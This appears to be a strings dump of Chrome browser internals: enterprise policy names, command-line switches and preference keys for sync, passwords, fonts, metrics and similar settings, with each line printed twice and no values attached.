JavaScriptBlockedForUrls

MetricsReportingEnabled

MetricsReportingEnabled

NotificationsAllowedForUrls

NotificationsAllowedForUrls

NotificationsBlockedForUrls

NotificationsBlockedForUrls

PasswordManagerAllowShowPasswords

PasswordManagerAllowShowPasswords

PasswordManagerEnabled

PasswordManagerEnabled

PluginsAllowedForUrls

PluginsAllowedForUrls

PluginsBlockedForUrls

PluginsBlockedForUrls

PopupsAllowedForUrls

PopupsAllowedForUrls

PopupsBlockedForUrls

PopupsBlockedForUrls

ProxyBypassList

ProxyBypassList

ProxyPacUrl

ProxyPacUrl

RemoteAccessHostDomain

RemoteAccessHostDomain

RemoteAccessHostFirewallTraversal

RemoteAccessHostFirewallTraversal

RemoteAccessHostRequireCurtain

RemoteAccessHostRequireCurtain

RemoteAccessHostRequireTwoFactor

RemoteAccessHostRequireTwoFactor

RemoteAccessHostTalkGadgetPrefix

RemoteAccessHostTalkGadgetPrefix

RestoreOnStartupURLs

RestoreOnStartupURLs

URLBlacklist

URLBlacklist

URLWhitelist

URLWhitelist

VideoCaptureAllowedUrls

VideoCaptureAllowedUrls

ChromeFrameContentTypes

ChromeFrameContentTypes

ChromeFrameRendererSettings

ChromeFrameRendererSettings

ChromeOsLockOnIdleSuspend

ChromeOsLockOnIdleSuspend

ChromeOsReleaseChannel

ChromeOsReleaseChannel

ChromeOsReleaseChannelDelegated

ChromeOsReleaseChannelDelegated

DeviceAllowRedeemChromeOsRegistrationOffers

DeviceAllowRedeemChromeOsRegistrationOffers

DeviceLocalAccountAutoLoginBailoutEnabled

DeviceLocalAccountAutoLoginBailoutEnabled

DeviceLocalAccountAutoLoginDelay

DeviceLocalAccountAutoLoginDelay

DeviceLocalAccountAutoLoginId

DeviceLocalAccountAutoLoginId

DeviceLoginScreenDefaultHighContrastEnabled

DeviceLoginScreenDefaultHighContrastEnabled

DeviceLoginScreenDefaultLargeCursorEnabled

DeviceLoginScreenDefaultLargeCursorEnabled

DeviceLoginScreenDefaultScreenMagnifierType

DeviceLoginScreenDefaultScreenMagnifierType

DeviceLoginScreenDefaultSpokenFeedbackEnabled

DeviceLoginScreenDefaultSpokenFeedbackEnabled

DeviceLoginScreenPowerManagement

DeviceLoginScreenPowerManagement

DeviceLoginScreenSaverId

DeviceLoginScreenSaverId

DeviceLoginScreenSaverTimeout

DeviceLoginScreenSaverTimeout

DeviceMetricsReportingEnabled

DeviceMetricsReportingEnabled

DeviceStartUpUrls

DeviceStartUpUrls

EnterpriseWebStoreName

EnterpriseWebStoreName

EnterpriseWebStoreURL

EnterpriseWebStoreURL

HideWebStorePromo

HideWebStorePromo

RenderInChromeFrameList

RenderInChromeFrameList

ReportDeviceActivityTimes

ReportDeviceActivityTimes

ReportDeviceBootMode

ReportDeviceBootMode

ReportDeviceLocation

ReportDeviceLocation

ReportDeviceNetworkInterfaces

ReportDeviceNetworkInterfaces

ReportDeviceVersionInfo

ReportDeviceVersionInfo

SuppressChromeFrameTurndownPrompt

SuppressChromeFrameTurndownPrompt

TermsOfServiceURL

TermsOfServiceURL

CHROME_HEADLESS

CHROME_HEADLESS

CHROME_LOG_FILE

CHROME_LOG_FILE

CHROMEOS_SESSION_LOG_DIR

CHROMEOS_SESSION_LOG_DIR

CHROME_CRASHED

CHROME_CRASHED

CHROME_RESTART

CHROME_RESTART

allow-http-background-page

allow-http-background-page

allow-http-screen-capture

allow-http-screen-capture

apps-checkout-url

apps-checkout-url

apps-gallery-download-url

apps-gallery-download-url

apps-gallery-url

apps-gallery-url

apps-gallery-update-url

apps-gallery-update-url

chrome-version

chrome-version

device-management-url

device-management-url

disable-extensions-http-throttling

disable-extensions-http-throttling

disable-password-autofill-public-suffix-domain-matching

disable-password-autofill-public-suffix-domain-matching

disable-sync-passwords

disable-sync-passwords

disable-sync-typed-urls

disable-sync-typed-urls

disable-web-resources

disable-web-resources

enable-auth-negotiate-port

enable-auth-negotiate-port

enable-password-autofill-public-suffix-domain-matching

enable-password-autofill-public-suffix-domain-matching

enable-autologin

enable-autologin

enable-metrics-reporting-for-testing

enable-metrics-reporting-for-testing

enable-npn-http

enable-npn-http

enable-password-generation

enable-password-generation

enable-quic-https

enable-quic-https

enable-save-password-bubble

enable-save-password-bubble

enable-user-controlled-alternate-protocol-ports

enable-user-controlled-alternate-protocol-ports

enable-websocket-over-spdy

enable-websocket-over-spdy

explicitly-allowed-ports

explicitly-allowed-ports

google-base-url

google-base-url

google-search-domain-check-url

google-search-domain-check-url

ignore-urlfetcher-cert-requests

ignore-urlfetcher-cert-requests

install-from-webstore

install-from-webstore

limited-install-from-webstore

limited-install-from-webstore

pack-extension-key

pack-extension-key

promo-server-url

promo-server-url

proxy-bypass-list

proxy-bypass-list

proxy-pac-url

proxy-pac-url

safebrowsing-url-prefix

safebrowsing-url-prefix

safebrowsing-download-feedback-url

safebrowsing-download-feedback-url

spelling-service-feedback-url

spelling-service-feedback-url

sync-invalidate-xmpp-login

sync-invalidate-xmpp-login

sync-notification-host-port

sync-notification-host-port

sync-url

sync-url

sync-try-ssltcp-first-for-xmpp

sync-try-ssltcp-first-for-xmpp

enable-syncfs-directory-operation

enable-syncfs-directory-operation

translate-script-url

translate-script-url

try-chrome-again

try-chrome-again

variations-server-url

variations-server-url

visit-urls

visit-urls

winhttp-proxy-resolver

winhttp-proxy-resolver

plugins-metadata-server-url

plugins-metadata-server-url

windows8-search

windows8-search

CHROME_VERSION

CHROME_VERSION

>CHROME_PRE_READ_EXPERIMENT

>CHROME_PRE_READ_EXPERIMENT

chrome.googleechotest.com

chrome.googleechotest.com

hXXp://pipelining.googleechotest.com/

hXXp://pipelining.googleechotest.com/

profile.managed.manual_hosts

profile.managed.manual_hosts

profile.managed.manual_urls

profile.managed.manual_urls

profile.managed.custodian_email

profile.managed.custodian_email

profile.managed.custodian_name

profile.managed.custodian_name

profile.icon_version

profile.icon_version

profile.exited_cleanly

profile.exited_cleanly

profile.exit_type

profile.exit_type

session.restore_on_startup

session.restore_on_startup

session.restore_on_startup_migrated

session.restore_on_startup_migrated

session.urls_to_restore_on_startup

session.urls_to_restore_on_startup

intl.app_locale

intl.app_locale

intl.charset_default

intl.charset_default

intl.accept_languages

intl.accept_languages

intl.static_encodings

intl.static_encodings

intl.global.charset_default

intl.global.charset_default

webkit.webprefs.global.default_font_size

webkit.webprefs.global.default_font_size

webkit.webprefs.global.default_fixed_font_size

webkit.webprefs.global.default_fixed_font_size

webkit.webprefs.global.minimum_font_size

webkit.webprefs.global.minimum_font_size

webkit.webprefs.global.minimum_logical_font_size

webkit.webprefs.global.minimum_logical_font_size

webkit.webprefs.global.javascript_enabled

webkit.webprefs.global.javascript_enabled

webkit.webprefs.global.javascript_can_open_windows_automatically

webkit.webprefs.global.javascript_can_open_windows_automatically

webkit.webprefs.global.loads_images_automatically

webkit.webprefs.global.loads_images_automatically

webkit.webprefs.global.plugins_enabled

webkit.webprefs.global.plugins_enabled

webkit.webprefs.global.standard_font_family

webkit.webprefs.global.standard_font_family

webkit.webprefs.global.fixed_font_family

webkit.webprefs.global.fixed_font_family

webkit.webprefs.global.serif_font_family

webkit.webprefs.global.serif_font_family

webkit.webprefs.global.sansserif_font_family

webkit.webprefs.global.sansserif_font_family

webkit.webprefs.global.cursive_font_family

webkit.webprefs.global.cursive_font_family

webkit.webprefs.global.fantasy_font_family

webkit.webprefs.global.fantasy_font_family

webkit.webprefs.standard_font_family

webkit.webprefs.standard_font_family

webkit.webprefs.fixed_font_family

webkit.webprefs.fixed_font_family

webkit.webprefs.serif_font_family

webkit.webprefs.serif_font_family

webkit.webprefs.sansserif_font_family

webkit.webprefs.sansserif_font_family

webkit.webprefs.cursive_font_family

webkit.webprefs.cursive_font_family

webkit.webprefs.fantasy_font_family

webkit.webprefs.fantasy_font_family

webkit.webprefs.fonts.standard

webkit.webprefs.fonts.standard

webkit.webprefs.fonts.fixed

webkit.webprefs.fonts.fixed

webkit.webprefs.fonts.serif

webkit.webprefs.fonts.serif

webkit.webprefs.fonts.sansserif

webkit.webprefs.fonts.sansserif

webkit.webprefs.fonts.cursive

webkit.webprefs.fonts.cursive

webkit.webprefs.fonts.fantasy

webkit.webprefs.fonts.fantasy

webkit.webprefs.fonts.pictograph

webkit.webprefs.fonts.pictograph

webkit.webprefs.fonts.standard.Arab

webkit.webprefs.fonts.standard.Arab

webkit.webprefs.fonts.fixed.Arab

webkit.webprefs.fonts.fixed.Arab

webkit.webprefs.fonts.serif.Arab

webkit.webprefs.fonts.serif.Arab

webkit.webprefs.fonts.sansserif.Arab

webkit.webprefs.fonts.sansserif.Arab

webkit.webprefs.fonts.standard.Cyrl

webkit.webprefs.fonts.standard.Cyrl

webkit.webprefs.fonts.fixed.Cyrl

webkit.webprefs.fonts.fixed.Cyrl

webkit.webprefs.fonts.serif.Cyrl

webkit.webprefs.fonts.serif.Cyrl

webkit.webprefs.fonts.sansserif.Cyrl

webkit.webprefs.fonts.sansserif.Cyrl

webkit.webprefs.fonts.standard.Grek

webkit.webprefs.fonts.standard.Grek

webkit.webprefs.fonts.fixed.Grek

webkit.webprefs.fonts.fixed.Grek

webkit.webprefs.fonts.serif.Grek

webkit.webprefs.fonts.serif.Grek

webkit.webprefs.fonts.sansserif.Grek

webkit.webprefs.fonts.sansserif.Grek

webkit.webprefs.fonts.standard.Jpan

webkit.webprefs.fonts.standard.Jpan

webkit.webprefs.fonts.fixed.Jpan

webkit.webprefs.fonts.fixed.Jpan

webkit.webprefs.fonts.serif.Jpan

webkit.webprefs.fonts.serif.Jpan

webkit.webprefs.fonts.sansserif.Jpan

webkit.webprefs.fonts.sansserif.Jpan

webkit.webprefs.fonts.standard.Hang

webkit.webprefs.fonts.standard.Hang

webkit.webprefs.fonts.fixed.Hang

webkit.webprefs.fonts.fixed.Hang

webkit.webprefs.fonts.serif.Hang

webkit.webprefs.fonts.serif.Hang

webkit.webprefs.fonts.sansserif.Hang

webkit.webprefs.fonts.sansserif.Hang

webkit.webprefs.fonts.cursive.Hang

webkit.webprefs.fonts.cursive.Hang

webkit.webprefs.fonts.standard.Hans

webkit.webprefs.fonts.standard.Hans

webkit.webprefs.fonts.fixed.Hans

webkit.webprefs.fonts.fixed.Hans

webkit.webprefs.fonts.serif.Hans

webkit.webprefs.fonts.serif.Hans

webkit.webprefs.fonts.sansserif.Hans

webkit.webprefs.fonts.sansserif.Hans

webkit.webprefs.fonts.standard.Hant

webkit.webprefs.fonts.standard.Hant

webkit.webprefs.fonts.fixed.Hant

webkit.webprefs.fonts.fixed.Hant

webkit.webprefs.fonts.serif.Hant

webkit.webprefs.fonts.serif.Hant

webkit.webprefs.fonts.sansserif.Hant

webkit.webprefs.fonts.sansserif.Hant

webkit.webprefs.web_security_enabled

webkit.webprefs.web_security_enabled

webkit.webprefs.dom_paste_enabled

webkit.webprefs.dom_paste_enabled

webkit.webprefs.shrinks_standalone_images_to_fit

webkit.webprefs.shrinks_standalone_images_to_fit

webkit.webprefs.inspector_settings

webkit.webprefs.inspector_settings

webkit.webprefs.uses_universal_detector

webkit.webprefs.uses_universal_detector

webkit.webprefs.text_areas_are_resizable

webkit.webprefs.text_areas_are_resizable

webkit.webprefs.java_enabled

webkit.webprefs.java_enabled

webkit.webprefs.tabs_to_links

webkit.webprefs.tabs_to_links

webkit.webprefs.allow_displaying_insecure_content

webkit.webprefs.allow_displaying_insecure_content

webkit.webprefs.allow_running_insecure_content

webkit.webprefs.allow_running_insecure_content

webkit.webprefs.fonts.standard.Zyyy

webkit.webprefs.fonts.standard.Zyyy

webkit.webprefs.fonts.fixed.Zyyy

webkit.webprefs.fonts.fixed.Zyyy

webkit.webprefs.fonts.serif.Zyyy

webkit.webprefs.fonts.serif.Zyyy

webkit.webprefs.fonts.sansserif.Zyyy

webkit.webprefs.fonts.sansserif.Zyyy

webkit.webprefs.fonts.cursive.Zyyy

webkit.webprefs.fonts.cursive.Zyyy

webkit.webprefs.fonts.fantasy.Zyyy

webkit.webprefs.fonts.fantasy.Zyyy

webkit.webprefs.fonts.pictograph.Zyyy

webkit.webprefs.fonts.pictograph.Zyyy

webkit.webprefs.default_font_size

webkit.webprefs.default_font_size

webkit.webprefs.default_fixed_font_size

webkit.webprefs.default_fixed_font_size

webkit.webprefs.minimum_font_size

webkit.webprefs.minimum_font_size

webkit.webprefs.minimum_logical_font_size

webkit.webprefs.minimum_logical_font_size

webkit.webprefs.javascript_enabled

webkit.webprefs.javascript_enabled

webkit.webprefs.javascript_can_open_windows_automatically

webkit.webprefs.javascript_can_open_windows_automatically

webkit.webprefs.loads_images_automatically

webkit.webprefs.loads_images_automatically

webkit.webprefs.plugins_enabled

webkit.webprefs.plugins_enabled

bookmark_bar.show_on_all_tabs

bookmark_bar.show_on_all_tabs

bookmark_bar.show_apps_shortcut

bookmark_bar.show_apps_shortcut

bookmark_editor.expanded_nodes

bookmark_editor.expanded_nodes

password_generation.enabled

password_generation.enabled

profile.password_manager_enabled

profile.password_manager_enabled

profile.password_manager_allow_show_passwords

profile.password_manager_allow_show_passwords

autologin.enabled

autologin.enabled

reverse_autologin.enabled

reverse_autologin.enabled

reverse_autologin.rejected_email_list

reverse_autologin.rejected_email_list

safebrowsing.enabled

safebrowsing.enabled

safebrowsing.reporting_enabled

safebrowsing.reporting_enabled

safebrowsing.proceed_anyway_disabled

safebrowsing.proceed_anyway_disabled

incognito.mode_availability

incognito.mode_availability

search.suggest_enabled

search.suggest_enabled

browser.confirm_to_quit

browser.confirm_to_quit

security.cookie_behavior

security.cookie_behavior

default_search_provider.synced_guid

default_search_provider.synced_guid

default_search_provider.enabled

default_search_provider.enabled

default_search_provider.search_url

default_search_provider.search_url

default_search_provider.suggest_url

default_search_provider.suggest_url

default_search_provider.instant_url

default_search_provider.instant_url

default_search_provider.icon_url

default_search_provider.icon_url

default_search_provider.encodings

default_search_provider.encodings

default_search_provider.name

default_search_provider.name

default_search_provider.keyword

default_search_provider.keyword

default_search_provider.id

default_search_provider.id

default_search_provider.prepopulate_id

default_search_provider.prepopulate_id

default_search_provider.alternate_urls

default_search_provider.alternate_urls

default_search_provider.search_terms_replacement_key

default_search_provider.search_terms_replacement_key

download.prompt_for_download

download.prompt_for_download

alternate_error_pages.enabled

alternate_error_pages.enabled

dns_prefetching.startup_list

dns_prefetching.startup_list

dns_prefetching.host_referral_list

dns_prefetching.host_referral_list

spdy.disabled

spdy.disabled

net.http_server_properties

net.http_server_properties

spdy.servers

spdy.servers

spdy.alternate_protocol

spdy.alternate_protocol

protocol.disabled_schemes

protocol.disabled_schemes

policy.url_blacklist

policy.url_blacklist

policy.url_whitelist

policy.url_whitelist

instant_ui.zero_suggest_url_prefix

instant_ui.zero_suggest_url_prefix

local_state.multiple_profile_prefs_version

local_state.multiple_profile_prefs_version

dns_prefetching.enabled

dns_prefetching.enabled

hide_web_store_icon

hide_web_store_icon

browser.show_home_button

browser.show_home_button

profile.recently_selected_encodings

profile.recently_selected_encodings

browser.clear_data.browsing_history

browser.clear_data.browsing_history

browser.clear_data.download_history

browser.clear_data.download_history

browser.clear_data.cache

browser.clear_data.cache

browser.clear_data.cookies

browser.clear_data.cookies

browser.clear_data.passwords

browser.clear_data.passwords

browser.clear_data.form_data

browser.clear_data.form_data

browser.clear_data.hosted_apps_data

browser.clear_data.hosted_apps_data

browser.clear_data.content_licenses

browser.clear_data.content_licenses

browser.clear_data.time_period

browser.clear_data.time_period

browser.last_clear_browsing_data_time

browser.last_clear_browsing_data_time

browser.enable_spellchecking

browser.enable_spellchecking

browser.enabled_labs_experiments

browser.enabled_labs_experiments

browser.enable_autospellcorrect

browser.enable_autospellcorrect

browser.speechinput_censor_results

browser.speechinput_censor_results

browser.speechinput_tray_notification_shown_contexts

browser.speechinput_tray_notification_shown_contexts

history.saving_disabled

history.saving_disabled

history.deleting_enabled

history.deleting_enabled

settings.force_safesearch

settings.force_safesearch

extensions.theme.pack

extensions.theme.pack

extensions.theme.id

extensions.theme.id

extensions.theme.images

extensions.theme.images

extensions.theme.colors

extensions.theme.colors

extensions.theme.tints

extensions.theme.tints

extensions.theme.properties

extensions.theme.properties

extensions.ui.developer_mode

extensions.ui.developer_mode

extensions.toolbarsize

extensions.toolbarsize

extensions.toolbar

extensions.toolbar

extensions.commands

extensions.commands

plugins.last_internal_directory

plugins.last_internal_directory

plugins.plugins_list

plugins.plugins_list

plugins.plugins_disabled

plugins.plugins_disabled

plugins.plugins_disabled_exceptions

plugins.plugins_disabled_exceptions

plugins.plugins_enabled

plugins.plugins_enabled

plugins.migrated_to_pepper_flash

plugins.migrated_to_pepper_flash

plugins.removed_old_component_pepper_flash_settings

plugins.removed_old_component_pepper_flash_settings

plugins.show_details

plugins.show_details

plugins.allow_outdated

plugins.allow_outdated

plugins.always_authorize

plugins.always_authorize

plugins.metadata

plugins.metadata

plugins.resource_cache_update

plugins.resource_cache_update

browser.check_default_browser

browser.check_default_browser

browser.suppress_switch_to_metro_mode_on_set_default

browser.suppress_switch_to_metro_mode_on_set_default

browser.default_browser_setting_enabled

browser.default_browser_setting_enabled

browser.custom_chrome_frame

browser.custom_chrome_frame

browser.desktop_notification_position

browser.desktop_notification_position

profile.default_content_settings

profile.default_content_settings

profile.content_settings.clear_on_exit_migrated

profile.content_settings.clear_on_exit_migrated

profile.content_settings.pref_version

profile.content_settings.pref_version

profile.content_settings.pattern_pairs

profile.content_settings.pattern_pairs

profile.content_settings.whitelist_version

profile.content_settings.whitelist_version

profile.content_settings.plugin_whitelist

profile.content_settings.plugin_whitelist

profile.block_third_party_cookies

profile.block_third_party_cookies

profile.clear_site_data_on_exit

profile.clear_site_data_on_exit

profile.default_zoom_level

profile.default_zoom_level

profile.per_host_zoom_levels

profile.per_host_zoom_levels

autofill.data_model_default

autofill.data_model_default

autofill.has_paid_with_wallet

autofill.has_paid_with_wallet

autofill.pay_without_wallet

autofill.pay_without_wallet

autofill.show_count

autofill.show_count

autofill.generated_card_bubble_times_shown

autofill.generated_card_bubble_times_shown

bookmarks.editing_enabled

bookmarks.editing_enabled

translate.enabled

translate.enabled

googlegeolocationaccess.enabled

googlegeolocationaccess.enabled

media.default_audio_capture_device

media.default_audio_capture_device

media.default_video_capture_Device

media.default_video_capture_Device

import_saved_passwords

import_saved_passwords

profile.avatar_index

profile.avatar_index

profile.name

profile.name

profile.is_managed

profile.is_managed

printing.enabled

printing.enabled

printing.print_preview_disabled

printing.print_preview_disabled

profile.managed.default_filtering_behavior

profile.managed.default_filtering_behavior

profile.managed_user_creation_allowed

profile.managed_user_creation_allowed

profile.managed_users

profile.managed_users

message_center.disabled_extension_ids

message_center.disabled_extension_ids

message_center.disabled_system_component_ids

message_center.disabled_system_component_ids

message_center.enabled_sync_notifier_ids

message_center.enabled_sync_notifier_ids

profile.last_used

profile.last_used

profile.last_active_profiles

profile.last_active_profiles

profile.profiles_created

profile.profiles_created

profile.created_by_version

profile.created_by_version

profile.info_cache

profile.info_cache

ssl.rev_checking.enabled

ssl.rev_checking.enabled

ssl.version_min

ssl.version_min

ssl.version_max

ssl.version_max

ssl.cipher_suites.blacklist

ssl.cipher_suites.blacklist

ssl.origin_bound_certs.enabled

ssl.origin_bound_certs.enabled

ssl.ssl_record_splitting.disabled

ssl.ssl_record_splitting.disabled

ssl.unrestricted_ssl3_fallback.enabled

ssl.unrestricted_ssl3_fallback.enabled

user_experience_metrics.client_id

user_experience_metrics.client_id

user_experience_metrics.session_id

user_experience_metrics.session_id

user_experience_metrics.low_entropy_source

user_experience_metrics.low_entropy_source

user_experience_metrics.permuted_entropy_cache

user_experience_metrics.permuted_entropy_cache

user_experience_metrics.client_id_timestamp

user_experience_metrics.client_id_timestamp

user_experience_metrics.reporting_enabled

user_experience_metrics.reporting_enabled

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_not_present

user_experience_metrics.stability.debugger_not_present

uninstall_metrics.installation_date2

uninstall_metrics.installation_date2

uninstall_metrics.page_load_count

uninstall_metrics.page_load_count

uninstall_metrics.launch_count

uninstall_metrics.launch_count

uninstall_metrics.uptime_sec

uninstall_metrics.uptime_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_observed_running_time_sec

uninstall_metrics.last_observed_running_time_sec

browser.suppress_default_browser_prompt_for_version

browser.suppress_default_browser_prompt_for_version

browser.window_placement

browser.window_placement

task_manager.window_placement

task_manager.window_placement

keyword_editor.window_placement

keyword_editor.window_placement

preferences.window_placement

preferences.window_placement

renderer.memory_cache.size

renderer.memory_cache.size

download.default_directory

download.default_directory

download.directory_upgrade

download.directory_upgrade

savefile.default_directory

savefile.default_directory

savefile.type

savefile.type

selectfile.last_directory

selectfile.last_directory

select_file_dialogs.allowed

select_file_dialogs.allowed

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_suffix

filebrowser.tasks.default_by_suffix

download.extensions_to_open

download.extensions_to_open

browser.hung_plugin_detect_freq

browser.hung_plugin_detect_freq

browser.plugin_message_response_timeout

browser.plugin_message_response_timeout

spellcheck.dictionary

spellcheck.dictionary

spellcheck.confirm_dialog_shown

spellcheck.confirm_dialog_shown

spellcheck.use_spelling_service

spellcheck.use_spelling_service

protocol_handler.excluded_schemes

protocol_handler.excluded_schemes

safe_browsing.client_key

safe_browsing.client_key

safe_browsing.wrapped_key

safe_browsing.wrapped_key

options_window.last_tab_index

options_window.last_tab_index

content_settings_window.last_tab_index

content_settings_window.last_tab_index

certificate_manager_window.last_tab_index

certificate_manager_window.last_tab_index

browser.last_known_google_url

browser.last_known_google_url

browser.last_prompted_google_url

browser.last_prompted_google_url

browser.last_redirect_origin

browser.last_redirect_origin

shutdown.type

shutdown.type

shutdown.num_processes

shutdown.num_processes

shutdown.num_processes_slow

shutdown.num_processes_slow

restart.last.session.on.shutdown

restart.last.session.on.shutdown

was.restarted

was.restarted

restart.switch_mode

restart.switch_mode

extensions.disabled

extensions.disabled

plugins.disable_plugin_finder

plugins.disable_plugin_finder

extensions.browseractions.container.width

extensions.browseractions.container.width

extensions.autoupdate.last_check

extensions.autoupdate.last_check

extensions.autoupdate.next_check

extensions.autoupdate.next_check

extensions.alerts.initialized

extensions.alerts.initialized

extensions.allowed_install_sites

extensions.allowed_install_sites

extensions.allowed_types

extensions.allowed_types

extensions.blacklistupdate.version

extensions.blacklistupdate.version

extensions.install.allowlist

extensions.install.allowlist

extensions.install.denylist

extensions.install.denylist

extensions.install.forcelist

extensions.install.forcelist

extensions.storage.garbagecollect

extensions.storage.garbagecollect

ntp.collapsed_foreign_sessions

ntp.collapsed_foreign_sessions

ntp.most_visited_blacklist

ntp.most_visited_blacklist

ntp.promo_resource_cache_update

ntp.promo_resource_cache_update

ntp.tips_resource_server

ntp.tips_resource_server

ntp.date_resource_server

ntp.date_resource_server

ntp.shown_bookmarks_folder

ntp.shown_bookmarks_folder

ntp.shown_page

ntp.shown_page

ntp.promo_desktop_session_found

ntp.promo_desktop_session_found

ntp.webstore_enabled

ntp.webstore_enabled

ntp.app_page_names

ntp.app_page_names

devtools.adb_key

devtools.adb_key

devtools.disabled

devtools.disabled

devtools.dock_side

devtools.dock_side

devtools.edited_files

devtools.edited_files

devtools.file_system_paths

devtools.file_system_paths

devtools.split_location

devtools.split_location

devtools.open_docked

devtools.open_docked

signin.allowed

signin.allowed

sync.last_synced_time

sync.last_synced_time

sync.has_setup_completed

sync.has_setup_completed

sync.keep_everything_synced

sync.keep_everything_synced

sync.app_notifications

sync.app_notifications

sync.app_settings

sync.app_settings

sync.apps

sync.apps

sync.autofill_profile

sync.autofill_profile

sync.autofill

sync.autofill

sync.bookmarks

sync.bookmarks

sync.dictionary

sync.dictionary

sync.extension_settings

sync.extension_settings

sync.extensions

sync.extensions

sync.favicon_images

sync.favicon_images

sync.favicon_tracking

sync.favicon_tracking

sync.history_delete_directives

sync.history_delete_directives

sync.managed_user_settings

sync.managed_user_settings

sync.managed_users

sync.managed_users

sync.passwords

sync.passwords

sync.preferences

sync.preferences

sync.priority_preferences

sync.priority_preferences

sync.search_engines

sync.search_engines

sync.sessions

sync.sessions

sync.synced_notifications

sync.synced_notifications

sync.tabs

sync.tabs

sync.themes

sync.themes

sync.typed_urls

sync.typed_urls

sync.managed

sync.managed

sync.suppress_start

sync.suppress_start

sync.acknowledged_types

sync.acknowledged_types

sync.max_invalidation_versions

sync.max_invalidation_versions

sync.session_sync_guid

sync.session_sync_guid

invalidator.client_id

invalidator.client_id

invalidator.invalidation_state

invalidator.invalidation_state

invalidator.max_invalidation_versions

invalidator.max_invalidation_versions

sync.encryption_bootstrap_token

sync.encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.using_secondary_passphrase

sync.using_secondary_passphrase

google.services.last_username

google.services.last_username

google.services.username

google.services.username

google.services.username_pattern

google.services.username_pattern

sync_promo.startup_count

sync_promo.startup_count

sync_promo.user_skipped

sync_promo.user_skipped

sync_promo.show_on_first_run_allowed

sync_promo.show_on_first_run_allowed

sync_promo.show_ntp_bubble

sync_promo.show_ntp_bubble

sync_promo.error_message

sync_promo.error_message

profile.gaia_info_update_time

profile.gaia_info_update_time

profile.gaia_info_picture_url

profile.gaia_info_picture_url

browser.web_app.create_on_desktop

browser.web_app.create_on_desktop

browser.web_app.create_in_apps_menu

browser.web_app.create_in_apps_menu

browser.web_app.create_in_quick_launch_bar

browser.web_app.create_in_quick_launch_bar

geolocation.access_token

geolocation.access_token

remote_access.host_firewall_traversal

remote_access.host_firewall_traversal

remote_access.host_require_two_factor

remote_access.host_require_two_factor

remote_access.host_domain

remote_access.host_domain

remote_access.host_talkgadget_prefix

remote_access.host_talkgadget_prefix

remote_access.host_require_curtain

remote_access.host_require_curtain

printing.print_preview_sticky_settings

printing.print_preview_sticky_settings

cloud_print.service_url

cloud_print.service_url

cloud_print.signin_url

cloud_print.signin_url

cloud_print.dialog_size.width

cloud_print.dialog_size.width

cloud_print.dialog_size.height

cloud_print.dialog_size.height

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.height

cloud_print.signin_dialog_size.height

background_contents.registered

background_contents.registered

browser.shown_autolaunch_infobar

browser.shown_autolaunch_infobar

auth.schemes

auth.schemes

auth.disable_negotiate_cname_lookup

auth.disable_negotiate_cname_lookup

auth.enable_negotiate_port

auth.enable_negotiate_port

auth.server_whitelist

auth.server_whitelist

auth.negotiate_delegate_whitelist

auth.negotiate_delegate_whitelist

auth.gssapi_library_name

auth.gssapi_library_name

auth.spdyproxy.origin

auth.spdyproxy.origin

auth.allow_cross_origin_prompt

auth.allow_cross_origin_prompt

async_dns.enabled

async_dns.enabled

http_received_content_length

http_received_content_length

http_original_content_length

http_original_content_length

hardware.audio_capture_enabled

hardware.audio_capture_enabled

hardware.audio_capture_allowed_urls

hardware.audio_capture_allowed_urls

hardware.video_capture_enabled

hardware.video_capture_enabled

hardware.video_capture_allowed_urls

hardware.video_capture_allowed_urls

browser.clear_lso_data_enabled

browser.clear_lso_data_enabled

browser.pepper_flash_settings_enabled

browser.pepper_flash_settings_enabled

browser.disk_cache_dir

browser.disk_cache_dir

browser.disk_cache_size

browser.disk_cache_size

browser.media_cache_size

browser.media_cache_size

cros.system.releaseChannel

cros.system.releaseChannel

policy.disable_cloud_policy_on_signin

policy.disable_cloud_policy_on_signin

message_center.showed_first_run_balloon

message_center.showed_first_run_balloon

cloud_print.enabled

cloud_print.enabled

cloud_print.proxy_id

cloud_print.proxy_id

cloud_print.auth_token

cloud_print.auth_token

cloud_print.xmpp_auth_token

cloud_print.xmpp_auth_token

cloud_print.email

cloud_print.email

cloud_print.print_system_settings

cloud_print.print_system_settings

cloud_print.enable_job_poll

cloud_print.enable_job_poll

cloud_print.robot_refresh_token

cloud_print.robot_refresh_token

cloud_print.robot_email

cloud_print.robot_email

cloud_print.user_settings.connectNewPrinters

